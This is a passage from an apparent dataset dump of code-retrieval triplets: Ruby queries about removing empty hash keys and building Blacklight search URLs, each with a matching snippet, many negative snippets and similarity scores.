query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
sequencelengths 0
101
| negative_scores
sequencelengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
remove all empty keys | def filter_search_keys(search_keys)
search_keys.delete_if { |_key, value| value.empty? }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def remove_empty_fields\n self.each_pair do |k, v|\n if self[k].class == Hash\n self[k] = self[k].remove_empty_fields\n else\n self.delete(k) if v.to_s == \"\"\n end\n end\n self\n end",
"def except_empty\n self.reject{|k, v| v.to_s.empty?}\n end",
"def cleanup!\n self.reject! { |k, v| v.empty? }\n end",
"def remove_empties(h)\n h.delete_if do |_k, v|\n v == '∅∅∅'\n end\n\n h.each_pair do |_k, v|\n remove_empties(v) if v.is_a?(Hash)\n end\n\n h.delete_if do |_k, v|\n v.is_a?(Hash) && v.empty?\n end\n end",
"def compact!\n keys = []\n self.each { |k, v| keys << k if v.include? '*' }\n keys.each { |k| self[k] = [] }\n end",
"def delete_blanks(hash)\n hash.delete_if do |k, v|\n (v.respond_to?(:empty?) ? v.empty? : !v) or v.instance_of?(Hash) && (delete_blanks v).empty?\n end\n end",
"def strip_nulls!(hash)\n hash.each_key do |key|\n case value = hash[key]\n when Hash\n strip_nulls!(value)\n hash.delete(key) if value.empty?\n when nil then hash.delete(key)\n end\n end\n\n hash\n end",
"def compact_hash(hash)\n hash.delete_if { |key, value| value.blank? }\n end",
"def strip_empty_entries(hash)\n return hash unless hash.is_a?(Hash)\n\n hash.inject({}) do |m, (k, v)|\n m[k] = strip_empty_entries(v) unless v&.empty?\n m.delete(k) if m[k].nil? || m[k].empty?\n m\n end\nend",
"def compact!\n delete_if { |k, v| v.nil? }\n end",
"def trim\n self.select { |_k, v| v.present? }\n end",
"def clear\n with(keys: EMPTY_ARRAY)\n end",
"def cleanse\n select { |_k, v| v }\n end",
"def compact\n reject{|key,val| val.nil? }\n end",
"def clean_unwanted_keys(hash)\r\n ignored_keys = [:only_path, :use_route]\r\n hash.dup.delete_if{|key,value| ignored_keys.include?(key)}\r\n end",
"def clean!\n if @keys.size > Cache.max_size\n @keys = @keys[(Cache.max_size/2)...@keys.size]\n reject! { |key, value| !@keys.include?(key) }\n end\n end",
"def clear\n keys.each do |k|\n Jeapie.instance_variable_set(\"@#{k}\", nil)\n end\n end",
"def del_min\n return if @keys.size == 0\n @keys.delete_at(0)\n @values.delete_at(0)\n end",
"def strip_hash_of_keys(array_of_keys_to_strip)\n self.keys.each do |k|\n strip = false\n array_of_keys_to_strip.each do |i|\n if i.class == Regexp\n strip = true if k =~ i\n else\n strip = true if k == i\n end\n end\n\n if strip\n self.delete(k)\n else\n if self[k].class == Hash\n self[k] = self[k].strip_hash_of_keys(array_of_keys_to_strip)\n elsif self[k].class == Array\n self[k].each do |h|\n h = h.strip_hash_of_keys(array_of_keys_to_strip) if h.class == Hash\n end\n end\n end\n end\n self\n end",
"def compact_blank\n reject { |_k, v| v.blank? }\n end",
"def remove_all_keys\n deprecate # 07/31/2012\n delete(\"/user/keys\").to_s\n end",
"def convert_nils_to_empty_hashes(hash); end",
"def type_note_keys_without_blanks\n @args[:type_note_keys].reject(&:empty?)\n end",
"def compact_blank!\n reject! { |_k, v| v.blank? }\n end",
"def compact(h={})\n h.each do|k,v|\n if v.nil?\n h.delete(k)\n elsif (v.is_a?(Hash) && v.empty?)\n next\n end\n\n compact v if v.is_a?Hash\n end\n\n # Remove all empty hashes except first key if it is empty\n # since that is required for XML root element attributes\n h.delete_if do|k,v|\n v.is_a?(Hash) && v.empty? && k != h.keys[0]\n end\n\n h\n end",
"def clean_hash hash\n hash ||= {}\n hash = hash.map do |k,v|\n if v.is_a? Hash\n [k,clean_hash(v)]\n else\n [k,v]\n end\n end\n hash = Hash[hash]\n Hash[hash.select do |k,v|\n if v.is_a? Hash\n v.size > 0\n else\n v.present?\n end\n end]\n end",
"def clear\n all_keys = keys\n return 0 if all_keys.empty?\n\n # Delete all keys\n del(*all_keys)\n end",
"def remove_all_keys\n\t\tdelete(\"/user/keys\")\n\tend",
"def remove_all_keys\n\t\tdelete(\"/user/keys\")\n\tend",
"def clear\n heroku.remove_all_keys\n display \"All keys removed.\"\n end",
"def clear\n heroku.remove_all_keys\n display \"All keys removed.\"\n end",
"def removed_keys\n @removed_keys ||= []\n end",
"def remove_empties_from_hash(old_hash)\n new_hash = {}\n old_hash.each do |key, value|\n next if value.nil? || value == '' || value == [] || value == {}\n new_hash[key] = value.is_a?(Hash) ? remove_empties_from_hash(value) : value\n end\n \n return new_hash\n end",
"def remove_keys(*keys)\n @rye_opts[:keys] ||= []\n @rye_opts[:keys] -= keys.flatten.compact\n @rye_opts[:keys].uniq!\n self # MUST RETURN self\n end",
"def clear_all(key)\n _mutex.synchronize do\n _store[key] = {}\n end\n end",
"def delete_unwanted_children\n @children.keys.each do |key|\n if(@children[key][:value].class.name === \"Array\")\n if(@children[key][:value].empty?)\n @children.tap { |hs| hs.delete(key) }\n end\n else\n if(@children[key][:value].nil?)\n @children.tap { |hs| hs.delete(key) }\n end\n end\n end\n end",
"def empty?\n @keys.empty?\n end",
"def cleanup!(content)\n content.each do |key, value| \n cleanup!(value) if value.is_a? Hash\n content.delete(key) if value.blank?\n end\n end",
"def remove_all\n synchronized { @hash = {} }\n end",
"def ordered_clean_hash source\n ordered_keys.each_with_object({}) do |key, target|\n if source.key? key\n target[key] = source[key] unless value_is_an_empty_hash(source[key])\n end\n end\n end",
"def hashie_stringify_keys!\n keys.each do |k|\n self[k.to_s] = delete(k) unless String === k\n end\n self\n end",
"def unmatched_keys; end",
"def compact!\n hsh = {}\n any = false\n each do |k, v|\n if v.nil?\n any = true\n else\n hsh[k] = v\n end\n end\n return unless any\n replace hsh\n self\n end",
"def filter_keys(data, *expected_keys)\n excess_keys = data.keys - expected_keys\n excess_keys.each do |key|\n data.delete(key)\n end\n return data\nend",
"def parse_query_api_pattern_remove_blank_key( key, value, result)\n # 'KeyName{!remove-if-blank}'\n blank_key_sign = key[FIND_BLANK_KEYS_TO_REMOVE]\n if blank_key_sign\n # Delete the original key from the resulting hash.\n result.delete(key)\n # But if its value is not blank then fix the key name (get rid of {!remove-if-blank}) and\n # put it back.\n unless value.respond_to?(:_blank?) && value._blank?\n key = key.sub(blank_key_sign, '')\n result[key] = value\n end\n end\n [key, value]\n end",
"def clear\n set_hash.each { |regexp, hash| hash.clear }\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete key\n end\n self\n end",
"def nothing_if_empty_or_nil(hash) \n hash.delete_if { |k, v| v.nil? || v.empty? }\n end",
"def remove_pairs_start_with_s\n h = {key: 1,\n s_key1: 1,\n s_key2: 2,\n key_s: 3\n }\n h.delete_if { |key| key.to_s.match(/^s/) }\n puts h\nend",
"def clear\n if warning?\n warn(\"This operation can run for a very long time if the namespace contains lots of keys! \" +\n \"It should be used in tests, or when the namespace is small enough \" +\n \"and you are sure you know what you are doing.\")\n end\n\n batch_size = 1000\n\n if supports_scan?\n cursor = \"0\"\n begin\n cursor, keys = scan(cursor, count: batch_size)\n del(*keys) unless keys.empty?\n end until cursor == \"0\"\n else\n all_keys = keys(\"*\")\n all_keys.each_slice(batch_size) do |keys|\n del(*keys)\n end\n end\n end",
"def clean_keys\n self.validator_key = clean_key(validator_key)\n self.client_key = clean_key(client_key)\n self.databag_key = clean_key(databag_key)\n end",
"def empty?\n self.keys.empty?\n end",
"def empty?\n keys.empty?\n end",
"def empty?\n @i_keys.empty?\n end",
"def deep_clean(data)\r\n proc = Proc.new { |k, v|\r\n if v.kind_of?(Hash) && !v.empty?\r\n v.delete_if(&proc)\r\n nil\r\n end\r\n v.nil? || v.empty?\r\n }\r\n hash.delete_if(&proc)\r\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def stringify_keys!\n keys.each do |key|\n self[key.to_s] = delete(key)\n end\n self\n end",
"def clean_document(hash)\n hash.delete_if do |_k, v|\n begin\n v.nil? || v.empty?\n rescue\n false\n end\n end\n end",
"def stringify_keys!\r\n keys.each do |key|\r\n self[key.to_s] = delete(key)\r\n end\r\n self\r\n end",
"def remove_all_keys\n delete(\"/api/v1/ssh_keys\").to_s\n end",
"def remove_all\n store = @store\n @store = {}\n store.values.map(&:last)\n end",
"def missing_keys; end",
"def empty?\n hash.keys.empty?\n end",
"def clear\n @data = {}\n @next_keys = {}\n end",
"def delete_keys!(*keys)\r\n\t\tkeys.each do |k| \r\n\t\t\tself.delete(k)\r\n\t\tend \r\n\t\tself\r\n\tend",
"def clear_assigned_keys\n @assigned_keys = {}\n end",
"def delempty(thing)\n if thing.respond_to?(:delete_if)\n if thing.kind_of? Hash\n thing.delete_if{|k,v| v.nil? || isempty(delempty(v)) || isempty(v)}\n else # assume single element iterable\n thing.delete_if{|elem| elem.nil? || isempty(delempty(elem)) || isempty(elem)}\n end\n end\n thing\n end",
"def suppress_empty_content(result)\n result.delete content_key if result[content_key] !~ /\\S/ \n end",
"def compact!\n self.files.reject! do |key, value|\n value.empty?\n end\n end",
"def delete_all_keys_except(hash_record, except_array = [])\n hash_record.select do |key|\n except_array.include?(key)\n end\n end",
"def discard! *keys\n keys.each {|k| delete k }\n self\n end",
"def missing_keys_from(required_keys)\n required_keys.select{ |k| self.get(k).to_s.empty? }\n end",
"def _compact\n nonces = rds.hkeys hpk_tag\n # select all nonces that no longer have corresponding message stored\n toDel = nonces.select { |n| not rds.exists msg_tag n }\n\n # delete all these nonces from hash index\n unless toDel.empty?\n _resetCount()\n runMbxTransaction(@hpk, 'compact') { toDel.each { |n| rds.hdel hpk_tag, n } }\n end\n end",
"def delete_keys! list\n if list.is_a? Array\n list.map{|k| self.delete k}\n else\n self.delete list\n end\n self\n end",
"def empty_positions(b)\n b.select {|key, value| value == ' '}.keys # returns array of keys whose values are empty\nend",
"def hash_clear(myhash)\n\tempty_hash = {}\n\tmy_hash = {\"first\" => 1, \"second\" => 2, \"third\" => 3}\n\tmy_hash = {}\n\nend",
"def clean_document(hash)\n hash.delete_if do |_k, v|\n v.blank? && v != false\n end\n end",
"def child_keys() []; end",
"def stringify_keys!\n keys.each{|k| \n v = delete(k)\n self[k.to_s] = v\n v.stringify_keys! if v.is_a?(Hash)\n v.each{|p| p.stringify_keys! if p.is_a?(Hash)} if v.is_a?(Array)\n }\n self\n end",
"def process_empty_object\n clear_data!\n self.key = transform_to_empty_key(key)\n end",
"def empty_values_hash\n @empty_values_hash ||= custom_columns.dup\n @empty_values_hash.each { |k, _v| @empty_values_hash[k] = nil }\n @empty_values_hash\n end",
"def deconstruct_keys(keys)\n if @value.respond_to?(:deconstruct_keys)\n @value.deconstruct_keys(keys)\n else\n EMPTY_HASH\n end\n end",
"def deconstruct_keys(keys)\n if @value.respond_to?(:deconstruct_keys)\n @value.deconstruct_keys(keys)\n else\n EMPTY_HASH\n end\n end",
"def nil_values(the_input, nil_keys_array = Array.new)\n the_input.select { |_, v| v.blank? }.each_key do |key|\n nil_keys_array << key.to_s\n end\n raise K2EmptyParams.new(nil_keys_array) unless nil_keys_array.blank?\n end",
"def clear\n @redis.delete_matched(\"#{@key}:*\")\n end",
"def clean!\r\n reject!(&:blank?)\r\n map!(&:strip)\r\n uniq!\r\n end",
"def _to_h_scrub(h)\n h_scrub = h.dup\n [:observable_dictionary_c_array, :element_observable_c_array, :asn_c_array, :collection_c_array].each do |key|\n h_scrub.delete(key) if h_scrub.has_key? key && h_scrub[key].blank?\n end\n return h_scrub\n end",
"def reject_keys *keys\n reject{|k, _| keys.include? k}\n end",
"def prune_nil_values!(o)\n if o.is_a? Hash\n o.keys.each do |k|\n if o[k].nil?\n o.delete k\n else\n o[k] = prune_nil_values o[k]\n o.delete k if o[k].nil?\n end\n end\n o\n elsif o.is_a? Array\n o.reject { |e| e.nil? }\n o.collect! { |e| prune_nil_values e }\n else\n o\n end\nend",
"def cleanup\n keys = redis.keys(raw_data_key('*')) + redis.keys(data_key('*'))\n multi do\n keys.each{|key| redis.del(key)}\n end\n super\n end",
"def empty?\n removed_keys.empty? and changes.empty?\n end",
"def remove_non_strings(array)\n array.delete_if do |i|\n i.instance_of?(String) == false\n end\n array.each do |i|\n if i.instance_of?(Hash) == true\n array.delete(i)\n end\n end\n return array\nend",
"def hash_delete(groceries_hash)\r\nreturn groceries_hash.delete_if {|items, values| items.length <= 7}\r\nend",
"def clean!\n reject!(&:blank?)\n map!(&:strip)\n uniq!\n end"
] | [
"0.7788672",
"0.74332446",
"0.73567307",
"0.7231372",
"0.7196585",
"0.71886206",
"0.71884924",
"0.71693176",
"0.71613395",
"0.70926416",
"0.7060776",
"0.7049418",
"0.7036345",
"0.70293117",
"0.70170075",
"0.6987565",
"0.698242",
"0.69798666",
"0.69604415",
"0.6878189",
"0.68439466",
"0.679628",
"0.679264",
"0.67791826",
"0.6747799",
"0.67278916",
"0.67227614",
"0.6683291",
"0.6683291",
"0.6681013",
"0.6681013",
"0.6676895",
"0.6675454",
"0.6639415",
"0.66159475",
"0.66128516",
"0.6604497",
"0.65901303",
"0.6581493",
"0.65552855",
"0.6548671",
"0.65454596",
"0.65436584",
"0.65425897",
"0.6541824",
"0.651984",
"0.6506093",
"0.6498024",
"0.6493106",
"0.64861983",
"0.648053",
"0.6471555",
"0.644983",
"0.64333946",
"0.64091265",
"0.63877624",
"0.63877624",
"0.63877624",
"0.63877624",
"0.63877624",
"0.63877624",
"0.63877624",
"0.63877624",
"0.638425",
"0.6382893",
"0.6362965",
"0.6337825",
"0.63377523",
"0.63236386",
"0.63178676",
"0.62946457",
"0.62729925",
"0.6237552",
"0.62237126",
"0.62050855",
"0.62040484",
"0.61876434",
"0.6145504",
"0.6139864",
"0.6134109",
"0.6092759",
"0.6082226",
"0.6081914",
"0.6081353",
"0.6072004",
"0.6061484",
"0.60458785",
"0.6045318",
"0.6045318",
"0.60250753",
"0.6018464",
"0.6016763",
"0.60148454",
"0.60089415",
"0.60080636",
"0.59731925",
"0.597283",
"0.59723073",
"0.5950571",
"0.5930099"
] | 0.7389517 | 2 |
Blacklight uses search_action_url to figure out the right URL for the global search box | def search_action_url *args
search_catalog_url(*args)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def search_action_url options = {}\n options = options.to_h if options.is_a? Blacklight::SearchState\n url_for(options.reverse_merge(action: 'index'))\n end",
"def search_action_url(options = {})\n blacklight_advanced_search_engine.url_for(options.merge(action: 'index'))\n end",
"def search_url_picker\n current_page?(\"/advanced\") ? search_catalog_url : search_action_url\n end",
"def search_action_path(*args)\n if ['xbrowse', 'rbrowse'].member?(params[:action])\n url_for(*args)\n else\n super(*args)\n end\n end",
"def search_action_url options = {}\n search_catalog_url(options.except(:controller, :action))\n end",
"def search_action_path(stuff)\n search_catalog_path(stuff)\n end",
"def search_action_url options = {}\n search_catalog_url(options.except(:controller, :action))\n end",
"def search_path; end",
"def search_path; end",
"def search_action_url options = {}\n catalog_index_url(options.except(:controller, :action))\n end",
"def adv_search\r\n\r\n redirect_to :action => :search\r\n end",
"def action\n if action_name == 'advanced_search'\n :post\n else\n :get\n end\n end",
"def link_to_search(text, path, options={})\n link_to_action(text, path, options.reverse_merge(:action => :search))\n end",
"def search_action_url(options = {})\n search_records_path(options.except(:controller, :action))\n end",
"def lookup_action; end",
"def home\n \t@link = params[:search].to_s \n\t\n end",
"def search_url(search)\n \"/search/#{search}/\"\n end",
"def index\n extra_head_content << view_context.auto_discovery_link_tag(:rss, url_for(params.merge(:format => 'rss')), :title => t('blacklight.search.rss_feed') )\n extra_head_content << view_context.auto_discovery_link_tag(:atom, url_for(params.merge(:format => 'atom')), :title => t('blacklight.search.atom_feed') )\n\n # @bookmarks = current_or_guest_user.bookmarks\n if (!params[:range].nil?)\n check_dates(params)\n end\n # params.delete(\"q_row\")\n qparam_display = \"\"\n # secondary parsing of advanced search params. Code will be moved to external functions for clarity\n if params[:q_row].present?\n query_string = set_advanced_search_params(params)\n end\n # End of secondary parsing\n\n # Journal title search hack.\n if (params[:search_field].present? and params[:search_field] == \"journal title\") or (params[:search_field_row].present? and params[:search_field_row].index(\"journal title\"))\n if params[:f].nil?\n params[:f] = {\"format\" => [\"Journal/Periodical\"]}\n end\n params[:f].merge(\"format\" => [\"Journal/Periodical\"])\n # unless(!params[:q])\n# params[:q] = params[:q]\n if (params[:search_field_row].present? and params[:search_field_row].index(\"journal title\"))\n params[:search_field] = \"advanced\"\n else\n params[:search_field] = \"journal title\"\n end\n search_session[:f] = params[:f]\n end\n\n #quote the call number\n if params[:search_field] == \"call number\"\n if !params[:q].nil? and !params[:q].include?('\"')\n params[:q] = '\"' << params[:q] << '\"'\n search_session[:q] = params[:q]\n end\n end\n\n if params[:search_field] != \"journal title \" and params[:search_field] != \"call number\"\n if !params[:q].nil? and (params[:q].include?('OR') or params[:q].include?('AND') or params[:q].include?('NOT'))\n params[:q] = params[:q]\n else\n if !params[:q].nil? and !params[:q].include?('\"') and !params[:q].blank?\n qparam_display = params[:q]\n qarray = params[:q].split\n params[:q] = \"(\"\n if qarray.size == 1\n params[:q] << '+' << qarray[0] << ') OR \"' << qarray[0] << '\"'\n else\n qarray.each do |bits|\n params[:q] << '+' << bits << ' '\n end\n params[:q] << ') OR \"' << qparam_display << '\"'\n end#encoding: UTF-8\n else\n if params[:q].nil? or params[:q].blank?\n params[:q] = params[:q]\n end\n end\n end\n end\n # end of Journal title search hack\n\n# if params[:search_field] = \"call number\"\n# params[:q] = \"\\\"\" << params[:q] << \"\\\"\"\n# end\n if num_cjk_uni(params[:q]) > 0\n cjk_query_addl_params({}, params)\n end\n (@response, @document_list) = get_search_results\n\n if !qparam_display.blank?\n params[:q] = qparam_display\n search_session[:q] = params[:q]\n end\n if params.nil? || params[:f].nil?\n @filters = []\n else\n @filters = params[:f] || []\n end\n\n # clean up search_field and q params. May be able to remove this\n if params[:search_field] == \"journal title\"\n if params[:q].nil?\n params[:search_field] = \"\"\n end\n end\n\n if params[:q_row].present?\n if params[:q].nil?\n params[:q] = query_string\n end\n else\n if params[:q].nil?\n params[:q] = query_string\n end\n end\n\n if params[:search_field] == \"call number\"\n if !params[:q].nil? and params[:q].include?('\"')\n params[:q] = params[:q].gsub!('\"','')\n end\n end\n # end of cleanup of search_field and q params\n\n # Expand search only under certain conditions\n if expandable_search?\n searcher = BentoSearch::MultiSearcher.new(:summon, :worldcat)\n query = params[:q].gsub(/&/, '%26')\n searcher.search(query, :per_page => 1)\n\n @expanded_results = {}\n\n searcher.results.each_pair do |key, result|\n source_results = {\n :count => number_with_delimiter(result.total_items),\n :url => BentoSearch.get_engine(key).configuration.link + query,\n }\n @expanded_results[key] = source_results\n end\n end\n\n respond_to do |format|\n format.html { save_current_search_params }\n format.rss { render :layout => false }\n format.atom { render :layout => false }\n end\n end",
"def model_param\n 'remote_search'\n end",
"def generate_search_url\n begin\n if self.search_url.blank? && job.county.search_template_url.present?\n params = generate_search_params.to_s\n if job.county.search_method == \"GET\"\n self.search_url = job.county.search_template_url.gsub(/\\{\\{params\\}\\}/, \"?#{params}\")\n end\n end\n rescue\n # don't worry if something went wrong generating the url\n end\n end",
"def bundle_search_link_url(search_params, resource_type, target_page)\n param_str = ''\n index = 0\n search_params.each do |option, search|\n param_str += \"#{index.zero? ? '?' : '&'}#{option}=#{search}\"\n index += 1\n end\n param_str += \"#{index.zero? ? '?' : '&'}page=#{target_page}\"\n \"#{root_url}fhir/r4/#{resource_type}#{param_str}\"\n end",
"def eds_action_url eds_action\n search_action_url + '?' + generate_next_url + '&eds_action=' + eds_action\n end",
"def search\n unless params[:query].blank?\n @listings = custom_search(params[:query])\n #print \"\\n\\n\\n***203 #{@listings}***\\n\\n\\n\"\n @header_type = \"Search for \\\"\" + params[:query] + \"\\\"\"\n \n #will render search.rhtml by default\n else\n browse\n end\n end",
"def search\r\nend",
"def search_box query_params, field\n value = query_params.filter_value(field)\n form_tag(query_params.url, :method => :get, :class=>\"form-inline\"){\n concat hidden_fields(query_params.filter(field).params)\n concat text_field_tag(\"f[#{field}]\", value, :placeholder=>field_name(field), :class=>\"input-medium \" )\n concat submit_tag(t(\"act_as_admin.actions.search\"), :class=>\"btn\")\n concat link_to(t(\"act_as_admin.actions.clear\"), query_params.filter(field).url, :class=>\"btn\") unless value.nil?\n }\n end",
"def url_for_search(term)\n require 'cgi'\n\n 'http://aur.archlinux.org/rpc.php' +\n '?type=search&arg=' + CGI::escape(term)\n end",
"def search params = {}\n send_and_receive search_path(params), params.reverse_merge(qt: blacklight_config.qt)\n end",
"def search\nend",
"def blacklight_keyword_search_url(request, options = {})\n options[:format] ||= \"atom\"\n options[:content_format] ||= \"marc\"\n \n clauses = []\n\n # We need both title and author to search keyword style, or\n # we get too many false positives. Except serials we'll do\n # title only. sigh, logic tree. \n \n # Also need to use appropriate 'container' title if avail, not\n # article title. \n metadata = request.referent.metadata\n title = metadata['jtitle'] \n title = metadata['btitle'] if title.blank?\n title = metadata['title'] if title.blank?\n # remove sub-title for better search\n title.gsub!(/\\:.*\\Z/, '') if title\n\n author = get_top_level_creator(request.referent)\n return nil unless title && (author || (@bl_fields[\"serials_limit_clause\"] && title_is_serial?(request.referent)))\n # phrase search for title, just raw dismax for author\n # Embed quotes inside the quoted value, need to backslash-quote for CQL,\n # and backslash the backslashes for ruby literal. \n clauses.push(\"#{@bl_fields[\"title\"]} = \\\"\\\\\\\"#{escape_for_cql_double_quotes title}\\\\\\\"\\\"\") \n clauses.push(\"#{@bl_fields[\"author\"]} = \\\"#{escape_for_cql_double_quotes author}\\\"\") if author\n \n url = base_url + \"?search_field=#{@cql_search_field}&content_format=#{options[:content_format]}&q=#{CGI.escape(clauses.join(\" AND \"))}\"\n\n if (@bl_fields[\"serials_limit_clause\"] &&\n title_is_serial?(request.referent)) \n url += \"&\" + @bl_fields[\"serials_limit_clause\"]\n end\n \n return url\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def retrieve\n if params[:query] == \"\"\n flash[:Error] = \"Please Enter Query\"\n redirect_to search_path\n else\n params[:query] = params[:query].strip\n @urls = Url.custom_search(search_params)\n if !@urls.first\n flash[:Error] = \"Not Found Anything\"\n redirect_to search_path\n else\n render 'show'\n end\n end\n end",
"def search_anchor\n {}\nend",
"def url_search\n params[:q].gsub(\"*\", \"%2A\")\n end",
"def search_form\n #this is finsihed!!\n end",
"def search\n\n end",
"def search_redirect\n return if SEARCH_CONTROLLERS.include?(params[:controller]&.to_sym)\n query = request_parameters\n return if query.slice(:q, :title, :creator, :identifier).blank?\n redirect_to query.merge!(controller: DEFAULT_SEARCH_CONTROLLER)\n end",
"def show\n admin_last_url\n search_params = YAML::load(cookies[:product_search])\n search_params[:page] = params[:page]\n do_search search_params\n end",
"def lookup_text\n\t\t$app.data_controller.search_matching_links_to @search_text\n\tend",
"def sdbmss_search_action_path(options = {})\n opts = options.dup\n # prevent deprecation warnings from Rails\n [\"action\", \"controller\"].each do |key|\n if opts.has_key? key\n opts[key.to_s] = opts[key]\n opts.delete key\n end\n end\n main_app.root_path({ \"utf8\" => SDBMSS::Util::CHECKMARK, \"search_field\" => \"all_fields\" }.merge(opts))\n end",
"def search params = {}\n send_and_receive blacklight_config.solr_path, params.reverse_merge(qt: blacklight_config.qt)\n end",
"def search\n end",
"def on_search_page?\n params['controller'] == 'catalog' && params['action'] == 'index'\n end",
"def url\n \"#{GOOGLE_SEARCH_URL}/cse?#{@custom_params.merge(DEFAULT_PARAMS).merge(:q => query, :cx => @search_engine_id, :sort => @sort).delete_if{|k,v| v.nil?}.to_query}\" \n end",
"def search_path\n ac_index_path(@params)\n end",
"def search(builder)\n send_and_receive connection_config[:url], builder.blacklight_params\n end",
"def override_search(form_ui)\n \"active_scaffold_search_#{form_ui}\"\n end",
"def override_search(form_ui)\n \"active_scaffold_search_#{form_ui}\"\n end",
"def available_actions\n super.merge({ \"search\" => \"You search the grimy pool\"\n\n })\n end",
"def search_model\n end",
"def getSearchURL itemName, itemType\n itemEncoded = URI.encode itemName\n if itemType == 'title'\n return ROOT_URL + 'find?q=' + itemEncoded + '&' + QPARAMS_TITLE_SEARCH\n end\nend",
"def performSearchButtonAction\n target = @controller.searchButton.target\n action = @controller.searchButton.action\n target.send(action, @controller.searchButton)\n end",
"def show_search_index \n WebView.navigate(url_for(:action => :search, :controller => :SearchContacts, :query => {:show_results => 'true'}), Constants::TAB_INDEX['Contacts'])\n end",
"def search_redirect\n # URI::encode handles spaces and other characters in search field\n redirect_to \"/blog/search/#{URI::encode params[:query]}\"\n end",
"def url\n \"#{@base_url}/s/search/air?#{compiled_params}\"\n end",
"def search_url(term, opts = {})\n param = URI.encode_www_form(\"term\" => term)\n\n if opts[:api] != false\n \"#{API_ROOT}/define?#{param}\"\n else\n \"#{WWW_ROOT}/define.php?#{param}\"\n end\n end",
"def search \n\n end",
"def service\n :search\n end",
"def search; end",
"def index\n #Search function defined privately below; params[:search] from search_form in index.html.erb\n key_search(params[:search])\n end",
"def conceptwiki_ep_search\n\t\tOPS_API_FREETEXT_SEARCH_URL\n\tend",
"def submit_search\n click SEARCH_SUBMIT_BUTTON\n end",
"def search_designer\n end",
"def search\n render: =>'search'\nend",
"def add_custom_search_filters(search); end",
"def route_search(search_text)\n get \"/gtfs/routes/search/#{search_text}\"\n end",
"def search\n redirect_to gallery_path(search_params)\n end",
"def search_path(value)\n Rails.application.routes.url_helpers.search_catalog_path(\"f[#{search_field}][]\": value,\n locale: I18n.locale)\n end",
"def search\n unless params[:q].blank?\n ensure_homepage\n term = \"*#{params[:q].split.join('* OR *')}*\"\n @pages=Page.paginate_search(term,:page=>params[:page])\n else\n flash[:notice]='Please Specify a Search Term'\n end\n @search=true\n render :action=>'index'\n end",
"def editor_search\n @results = Soc_med.where text: params[:term]\n redirect_to '/dashboard'\n end",
"def handle_search\n if request.id == 'csv'\n csv(:search_results)\n elsif request.id\n table_page(*model.search_results(normalized_type, request))\n else\n page do\n Forme.form(model.new(nil, request), form_attributes(:action=>url_for(\"search/1\"), :method=>:get), form_opts) do |f|\n model.columns_for(:search_form, request).each do |column|\n col_opts = column_options_for(:search_form, request, f.obj, column).merge(:name=>column, :id=>column)\n if html = model.edit_html_for(f.obj, column, :search_form, request)\n col_opts[:html] = html\n end\n f.input(column, col_opts)\n end\n f.button(:value=>'Search', :class=>'btn btn-primary')\n end\n end\n end\n end",
"def search\n index\n render :index\n end",
"def search_results_page_type\n action = controller.action_name\n if [\"browse_for_sale\", \"new_developments\"].include? action\n :sales\n elsif [\"browse_for_rent\", \"quick_search\"].include? action\n :rentals\n end\n end",
"def search\n Settings.record_activity \n if @params['show_results'] == 'true' && (@last_search = SearchContacts.last_search)\n @contacts_already_on_device = @last_search.find_contacts_on_device\n end\n render :action => :search, :back => 'callback:', :layout => 'layout_JQM_Lite'\n end",
"def search_callback\n # SyncEngine.dosync\n status = @params['status']\n if ( @params['project_id'] && !@params['project_id'].empty?)\n WebView.navigate( url_for :controller=>\"Story\",:action => :index,\n :query => {:count_search=>get_count_search,:iteration=>@params['iteration'],:story_id=>@params['story_id'],:project_id => @params['project_id'].gsub(/[^0-9]/, '')} )\n end\n end",
"def fetch_custom_search_params; end",
"def search_url(*args)\n options = args.extract_options!.stringify_keys!\n protocol = (options.delete('protocol') || self.protocol).to_s\n \n uri = search_uri\n uri.scheme = protocol\n uri.query = [\"key=#{api_key}\", \"q=#{URI.escape(args.join(','))}\", *options.map{ |k,v| \"#{k}=#{v}\" }].join('&')\n p uri.to_s if self.debug\n return uri\n end",
"def click_search\n search_button.click\n end",
"def before_GET(req)\n super\n @term = term(req)\n @title = \"Search for #{term(req)}\"\n end",
"def search\n\n end",
"def search\n @term = sname = request.query_parameters[\"search\"].to_s.downcase\n @data = search_term(sname)\n render partial: \"shared/search\"\n end",
"def post\n\t redirect_to search_path( query: params[:query] )\n\tend",
"def perform_search\n if self.class == Alchemy::Admin::PagesController && params[:query].blank?\n params[:query] = 'lorem'\n end\n return if params[:query].blank?\n @search_results = search_results\n if paginate_per\n @search_results = @search_results.page(params[:page]).per(paginate_per)\n end\n end",
"def search\n # TODO: uncomment when we have html and js to implement the test variants\n # unless user_signed_in?\n # # A/B test - only for anonymous users\n # @search_landing_banner_appear = ab_test :search_landing_banner_appear\n # end\n render '/home/app'\n end",
"def link_to_query(query)\n p = params.except(:page, :action)\n p[:q]=query\n link_url = search_action_path(p)\n link_to(query, link_url)\n end",
"def query_param\n return unless search_query\n \"search=#{search_query}&phrase=true\"\n end",
"def auto_search\n\t\tif (@curURL_Sr != nil)\n\t\t\turl_search(@curURL_Sr)\n\t\t\tHashOfArray_smart_add($searched, @curURL_Sr)\n\t\t\t$toSearch.shift\n\t\t\treturn true\n\t\tend\n\t\treturn false\n\tend",
"def search_url(term='')\n param = URI.encode_www_form('term' => term)\n \"http://api.urbandictionary.com/v0/define?#{param}\"\n end",
